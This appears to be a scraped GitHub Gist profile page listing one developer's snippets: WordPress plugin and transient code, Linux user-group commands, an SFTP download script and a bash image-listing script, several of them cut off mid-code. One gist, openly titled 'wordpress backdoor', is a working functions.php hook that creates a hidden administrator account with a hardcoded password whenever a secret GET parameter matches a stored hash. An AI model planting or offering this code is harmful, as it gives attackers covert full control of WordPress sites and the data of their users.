Skip to content

Instantly share code, notes, and snippets.

View waqashassan98's full-sized avatar

Waqas Hassan waqashassan98

View GitHub Profile
@waqashassan98
waqashassan98 / example-wp-list-table.php
Created February 9, 2021 18:18 — forked from paulund/example-wp-list-table.php
An example code of using the WP_List_Table class. With Pagination.
<?php
/*
* Plugin Name: Paulund WP List Table Example
* Description: An example of how to use the WP_List_Table class to display data in your WordPress Admin area
* Plugin URI: http://www.paulund.co.uk
* Author: Paul Underwood
* Author URI: http://www.paulund.co.uk
* Version: 1.0
* License: GPL2
*/
Add a new user to the www-data group
In this example, add a new user called vivek to the www-data group, enter:
sudo useradd -g www-data vivek
### set the password for vivek user ###
sudo passwd vivek
@waqashassan98
waqashassan98 / functions.php
Created June 28, 2021 13:05
wordpress backdoor
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
@waqashassan98
waqashassan98 / sshconnect-php.php
Created March 3, 2023 20:03
download a file from sftp in php
<?php
// https://stackoverflow.com/questions/17687607/php-download-from-remote-server-via-sftp#17688779
// set up SFTP server details
$host = '';
$port = 22;
$username = '';
$password = ';
$file = 'fileToDownload.csv';
$remoteDir = '/complete/path/to/dir/';
@waqashassan98
waqashassan98 / functions.php
Created May 1, 2023 07:54
Initialising and using Transients in WordPress
<?php
// Check for transient. If none, then execute WP_Query
if ( false === ( $featured = get_transient( 'foo_featured_posts' ) ) ) {
$featured = new WP_Query(
array(
'category' => 'featured',
'posts_per_page' => 5
)
);
@waqashassan98
waqashassan98 / extractimagepaths.sh
Created August 11, 2025 15:07
Parse folders recursively and list all the images in it
#!/bin/bash
echo "folder,files"
find . -type f \( -iname "*.jpg" -o -iname "*.jpeg" -o -iname "*.png" \) | while read filepath; do
dir=$(dirname "$filepath")
file=$(basename "$filepath")
echo "$dir,$file"
done | sort | awk -F, '
{